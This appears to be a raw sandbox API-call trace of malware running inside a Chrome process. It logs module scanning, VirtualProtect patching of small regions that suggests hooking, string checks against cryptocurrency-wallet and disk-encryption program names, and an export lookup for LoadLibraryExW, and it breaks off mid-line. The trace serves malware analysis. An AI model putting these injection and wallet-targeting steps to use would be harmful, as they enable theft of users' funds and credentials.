(HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.510] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.510] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.510] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd7f0000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefd7f0000, AllocationBase=0x7fefd7f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.510] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.510] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.510] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.511] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.511] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.511] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.511] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77f0000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fef77f0000, AllocationBase=0x7fef77f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.511] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.511] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.511] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.511] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.511] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.511] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.511] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc450000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefc450000, AllocationBase=0x7fefc450000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.511] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.511] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.511] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.511] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.512] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.512] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.512] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd0b0000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefd0b0000, AllocationBase=0x7fefd0b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.512] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.512] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.512] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.512] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.512] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.512] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.512] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e90000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fef6e90000, AllocationBase=0x7fef6e90000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.512] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.512] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.512] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.512] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.512] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e20000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fef6e20000, AllocationBase=0x7fef6e20000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.513] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a10000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fef9a10000, AllocationBase=0x7fef9a10000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.513] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.513] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.513] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd640000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefd640000, AllocationBase=0x7fefd640000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.513] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.513] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.514] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.514] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.514] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.514] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.514] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff080000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7feff080000, AllocationBase=0x7feff080000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.514] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.514] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.514] VirtualProtect (in: lpAddress=0x7feff1212b8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.514] VirtualProtect (in: lpAddress=0x7feff1212b8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.514] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030d30 [0073.515] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030d30 | out: hHeap=0x2030000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030d30 [0073.515] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030d30 | out: hHeap=0x2030000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030d30 [0073.515] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030d30 | out: hHeap=0x2030000) returned 1 [0073.515] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87e0000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fef87e0000, AllocationBase=0x7fef87e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.515] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.515] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030d30 [0073.515] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030d30 | out: hHeap=0x2030000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030d30 [0073.515] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030d30 | out: hHeap=0x2030000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030d30 [0073.515] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030d30 | out: hHeap=0x2030000) returned 1 [0073.515] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030d30 [0073.515] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030d30 | out: hHeap=0x2030000) returned 1 [0073.515] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefea30000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefea30000, AllocationBase=0x7fefea30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.515] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.515] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030d30 [0073.515] VirtualProtect (in: lpAddress=0x7fefebaf948, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.516] VirtualProtect (in: lpAddress=0x7fefebaf948, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.516] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.516] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.516] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.517] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.517] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7730000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fef7730000, AllocationBase=0x7fef7730000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.517] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.517] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.517] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.517] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.517] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.517] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.517] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87b0000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fef87b0000, AllocationBase=0x7fef87b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.517] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.517] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.517] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.517] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.517] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.517] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.518] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbe0000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefbbe0000, AllocationBase=0x7fefbbe0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.518] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.518] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.518] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.518] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.518] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.518] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.518] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.518] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf70000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefcf70000, AllocationBase=0x7fefcf70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.518] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.519] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.519] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.519] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.519] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.519] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.519] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.519] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030da0 [0073.519] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.519] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ee30 | out: hHeap=0x2030000) returned 1 [0073.519] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x208) returned 0x2030da0 [0073.519] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2030da0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe")) returned 0x3b [0073.519] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrStrIW") returned 0x7fefd5cfb70 [0073.519] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="electrum-") returned 0x0 [0073.519] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="bitcoin") returned 0x0 [0073.519] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="multibit-hd") returned 0x0 [0073.519] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="bither") returned 0x0 [0073.519] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="msigna.") returned 0x0 [0073.519] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="Jaxx.") returned 0x0 [0073.519] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="JEdudus.") returned 0x0 [0073.519] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="armory-") returned 0x0 [0073.519] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="veracrypt") returned 0x0 [0073.520] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="truecrypt") returned 0x0 [0073.520] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.520] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0073.520] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242c010 [0073.520] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddAtomA", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddAtomW", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddRefActCtx", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AllocConsole", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA 